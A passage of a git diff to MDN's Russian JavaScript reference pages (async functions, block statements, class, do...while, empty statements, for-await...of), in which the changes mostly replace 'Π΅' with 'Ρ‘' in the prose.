Ρ‡Π΅ΠΌ Ρ‡Π΅Ρ€Π΅Π· Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ сСкунды, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ‚Π°ΠΉΠΌΠ΅Ρ€Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Однако Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡΒ ΠΎΠ½ΠΈ всС ΠΆΠ΅Β Π½Π΅ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ, Π° Π΄Ρ€ΡƒΠ³ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ - такая конструкция Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ автоматичСского использования <code>Promise.all</code>. Если Π΄Π²Π° ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Promise Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Ρ‚ΡŒΡΡ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ, слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>Promise.all</code>.</p>
+<p>Ѐункция <code>add1</code> приостанавливаСтся Π½Π° 2 сСкунды для ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ <code>await</code> ΠΈ Π΅Ρ‰Ρ‘ Π½Π° 2 для Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ. Π’Ρ‚ΠΎΡ€ΠΎΠΉ Ρ‚Π°ΠΉΠΌΠ΅Ρ€ создаётся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС срабатывания ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ. Π’ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>add2</code> ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΎΠ±Π° ΠΈ ΠΎΠ±Π° ΠΆΠ΅ пСрСходят Π² состояниС <code>await</code>. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ функция <code>add2</code> Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ скорСС Ρ‡Π΅Ρ€Π΅Π· Π΄Π²Π΅, Ρ‡Π΅ΠΌ Ρ‡Π΅Ρ€Π΅Π· Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ сСкунды, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ‚Π°ΠΉΠΌΠ΅Ρ€Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Однако Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡΒ ΠΎΠ½ΠΈ всС ΠΆΠ΅Β Π½Π΅ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ, Π° Π΄Ρ€ΡƒΠ³ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ - такая конструкция Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ автоматичСского использования <code>Promise.all</code>. Если Π΄Π²Π° ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Promise Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Ρ‚ΡŒΡΡ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ, слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>Promise.all</code>.</p>
</div>
<h3 id="Когда_функция_async_выбрасываСт_ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Когда функция <code>asyncΒ </code>выбрасываСт ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h3>
@@ -136,7 +136,7 @@ throwsValue()
}
</pre>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅Β Π½Π΅ содСрТит <code>await</code>Β Π½Π°Β <code>return</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>async</code> нСявно ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΠΎ Π² {{jsxref("Promise.resolve")}}.</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅Β Π½Π΅ содСрТит <code>await</code>Β Π½Π°Β <code>return</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>async</code> нСявно ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ΠΎ Π² {{jsxref("Promise.resolve")}}.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
@@ -165,7 +165,7 @@ throwsValue()
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.statements.async_function")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/statements/block/index.html b/files/ru/web/javascript/reference/statements/block/index.html
index a6fb564aa7..c6d34377df 100644
--- a/files/ru/web/javascript/reference/statements/block/index.html
+++ b/files/ru/web/javascript/reference/statements/block/index.html
@@ -41,13 +41,13 @@ original_slug: Web/JavaScript/Reference/Statements/Π‘Π»ΠΎΠΊ
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π±Π»ΠΎΠΊ инструкций Π½Π΅ заканчиваСтся Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой.</p>
-<p>Π‘Π»ΠΎΠΊ инструкций часто называСтся <strong>слоТной (составной) инструкциСй</strong> Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… языках. Он позволяСт Π²Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ нСсколько ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² Ρ‚Π°ΠΌ, Π³Π΄Π΅ JavaScript ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€.Β ΠŸΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ инструкций Π² Π±Π»ΠΎΠΊ - это распространСнная ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° Π² JavaScript. ΠŸΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ - использованиС <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Empty">пустого ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°</a> Ρ‚Π°ΠΌ, Π³Π΄Π΅ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… дСйствий Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ, Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ трСбуСтся.</p>
+<p>Π‘Π»ΠΎΠΊ инструкций часто называСтся <strong>слоТной (составной) инструкциСй</strong> Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… языках. Он позволяСт Π²Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ нСсколько ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² Ρ‚Π°ΠΌ, Π³Π΄Π΅ JavaScript ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€.Β ΠŸΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ инструкций Π² Π±Π»ΠΎΠΊ - это распространённая ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° Π² JavaScript. ΠŸΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ - использованиС <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Empty">пустого ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°</a> Ρ‚Π°ΠΌ, Π³Π΄Π΅ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… дСйствий Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ, Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ трСбуСтся.</p>
<h3 id="ΠŸΡ€Π°Π²ΠΈΠ»Π°_области_видимости_Π±Π»ΠΎΠΊΠ°">ΠŸΡ€Π°Π²ΠΈΠ»Π° области видимости Π±Π»ΠΎΠΊΠ°</h3>
<h4 id="Б_использованиСм_var">Б использованиСм <code>var</code></h4>
-<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Ρ‡Π΅Ρ€Π΅Π· <code>var</code>,Β <strong>Π½Π΅</strong> <strong>ΠΈΠΌΠ΅ΡŽΡ‚</strong> Π±Π»ΠΎΡ‡Π½ΠΎΠΉ области видимости. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°, ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ видимости ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈΠ»ΠΈ скрипт, ΠΈ послСдствия записи Π² Π½ΠΈΡ… значСния Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡŽΡ‚ΡΡ Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, собствСнно, Π±Π»ΠΎΠΊΠ°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π±Π»ΠΎΠΊ инструкций Π½Π΅ Π²Π²ΠΎΠ΄ΠΈΡ‚ Π½ΠΎΠ²ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости. Π₯отя "ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ стоящиС" Π±Π»ΠΎΠΊΠΈ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠ΅ΠΌ синтаксиса, Π½Π΅ стоит ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ стоящиС Π±Π»ΠΎΠΊΠΈ Π² JavaScript, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ Ρ‚ΠΎ, Ρ‡Π΅Π³ΠΎ Π²Ρ‹ ΠΎΡ‚ Π½ΠΈΡ… ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, Ссли Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ сСбя вСсти Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Π±Π»ΠΎΠΊΠ°ΠΌ Π² C ΠΈΠ»ΠΈ Java. НапримСр:</p>
+<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Ρ‡Π΅Ρ€Π΅Π· <code>var</code>,Β <strong>Π½Π΅</strong> <strong>ΠΈΠΌΠ΅ΡŽΡ‚</strong> Π±Π»ΠΎΡ‡Π½ΠΎΠΉ области видимости. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°, ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ видимости ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈΠ»ΠΈ скрипт, ΠΈ послСдствия записи Π² Π½ΠΈΡ… значСния Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡŽΡ‚ΡΡ Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, собствСнно, Π±Π»ΠΎΠΊΠ°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π±Π»ΠΎΠΊ инструкций Π½Π΅ Π²Π²ΠΎΠ΄ΠΈΡ‚ Π½ΠΎΠ²ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости. Π₯отя "ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ стоящиС" Π±Π»ΠΎΠΊΠΈ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠ΅ΠΌ синтаксиса, Π½Π΅ стоит ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ стоящиС Π±Π»ΠΎΠΊΠΈ Π² JavaScript, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ Ρ‚ΠΎ, Ρ‡Π΅Π³ΠΎ Π²Ρ‹ ΠΎΡ‚ Π½ΠΈΡ… ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, Ссли Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ сСбя вСсти Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Π±Π»ΠΎΠΊΠ°ΠΌ Π² C ΠΈΠ»ΠΈ Java. НапримСр:</p>
<pre class="brush: js example-bad">var x = 1;
{
diff --git a/files/ru/web/javascript/reference/statements/class/index.html b/files/ru/web/javascript/reference/statements/class/index.html
index 6e772f9c6a..507c13cb10 100644
--- a/files/ru/web/javascript/reference/statements/class/index.html
+++ b/files/ru/web/javascript/reference/statements/class/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/class
---
<div>{{jsSidebar("Statements")}}</div>
-<p><strong>Class declaration</strong> создаСт Π½ΠΎΠ²Ρ‹ΠΉ класс с Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π½Π° основС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠ³ΠΎ наслСдования.</p>
+<p><strong>Class declaration</strong> создаёт Π½ΠΎΠ²Ρ‹ΠΉ класс с Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π½Π° основС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠ³ΠΎ наслСдования.</p>
<div class="noinclude">
<p>МоТно Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΒ ΠΊΠ»Π°ΡΡ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{jsxref("Operators/class", "class expression", "", 1)}}. Но Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ class expression,Β class declaration Π½Π΅ позволяСт снова ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒΒ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ класс, это <strong>ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ошибкС Ρ‚ΠΈΠΏΠ°</strong>.</p>
@@ -54,7 +54,7 @@ class Square extends Polygon {
class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
</pre>
-<p>Π’Π° ΠΆΠ΅ ошибка Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π°, Ссли класс был ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΏΠ΅Ρ€Π΅Π΄ использованиСм class declaration.</p>
+<p>Π’Π° ΠΆΠ΅ ошибка Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π°, Ссли класс был ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΏΠ΅Ρ€Π΅Π΄ использованиСм class declaration.</p>
<pre class="brush: js notranslate">var Foo = class {};
class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
diff --git a/files/ru/web/javascript/reference/statements/do...while/index.html b/files/ru/web/javascript/reference/statements/do...while/index.html
index f6707b4b04..6a2aa31f07 100644
--- a/files/ru/web/javascript/reference/statements/do...while/index.html
+++ b/files/ru/web/javascript/reference/statements/do...while/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/do...while
---
<div>{{jsSidebar("Statements")}}</div>
-<p>Π’Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β <strong><code>do...while</code></strong> создаСт Ρ†ΠΈΠΊΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСт ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° условиС Π½Π΅ станСт Π»ΠΎΠΆΠ½Ρ‹ΠΌ. УсловиС провСряСтся послС выполнСния выраТСния, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ выполнится ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.</p>
+<p>Π’Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β <strong><code>do...while</code></strong> создаёт Ρ†ΠΈΠΊΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСт ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° условиС Π½Π΅ станСт Π»ΠΎΠΆΠ½Ρ‹ΠΌ. УсловиС провСряСтся послС выполнСния выраТСния, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ выполнится ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.</p>
<p>{{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}</p>
@@ -23,7 +23,7 @@ while (<em>условиС</em>);
<dl>
<dt><code>условиС</code></dt>
- <dd>Π’Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ вычисляСтся послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ шага Ρ†ΠΈΠΊΠ»Π°. Если <code>условиС</code> истинно, Ρ‚ΠΎΒ <code>Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</code> выполняСтся Π΅Ρ‰Π΅ Ρ€Π°Π·. Когда <code>условиС</code> Π»ΠΎΠΆΠ½ΠΎ, выполняСтся Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ послС <code>do...while</code>.</dd>
+ <dd>Π’Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ вычисляСтся послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ шага Ρ†ΠΈΠΊΠ»Π°. Если <code>условиС</code> истинно, Ρ‚ΠΎΒ <code>Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</code> выполняСтся Π΅Ρ‰Ρ‘ Ρ€Π°Π·. Когда <code>условиС</code> Π»ΠΎΠΆΠ½ΠΎ, выполняСтся Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ послС <code>do...while</code>.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/statements/empty/index.html b/files/ru/web/javascript/reference/statements/empty/index.html
index 3792c035bc..64aee27def 100644
--- a/files/ru/web/javascript/reference/statements/empty/index.html
+++ b/files/ru/web/javascript/reference/statements/empty/index.html
@@ -39,7 +39,7 @@ console.log(arr)
killTheUniverse() // Π­Ρ‚ΠΎ всСгда выполняСтся!!!
</pre>
-<p>Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β <a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a>Β Π±Π΅Π· Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок  (<code>{}</code>). Если <code>three</code> истинно, Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, <code>four</code>Β Π½Π΅ Π²Π°ΠΆΠ½Π°, и функция <code>launchRocket()</code>Β Ρ‚ΠΎΠΆΠ΅ Π½Π΅ запустится.</p>
+<p>Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β <a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a>Β Π±Π΅Π· Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок  (<code>{}</code>). Если <code>three</code> истинно, Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, <code>four</code>Β Π½Π΅ Π²Π°ΠΆΠ½Π°, и функция <code>launchRocket()</code>Β Ρ‚ΠΎΠΆΠ΅ Π½Π΅ запустится.</p>
<pre class="brush: js">if (one)
doOne();
diff --git a/files/ru/web/javascript/reference/statements/for-await...of/index.html b/files/ru/web/javascript/reference/statements/for-await...of/index.html
index 9ed679ace7..d5a6b93e35 100644
--- a/files/ru/web/javascript/reference/statements/for-await...of/index.html
+++ b/files/ru/web/javascript/reference/statements/for-await...of/index.html
@@ -77,7 +77,7 @@ translation_of: Web/JavaScript/Reference/Statements/for-await...of
// 1
// 2</pre>
-<p>Для Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° асинхронного Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>for await... of</code>, рассмотрим ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· API. Β Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ сначала создаСтся асинхронный ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ для ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ…, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для опрСдСлСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΎΡ‚ API.</p>
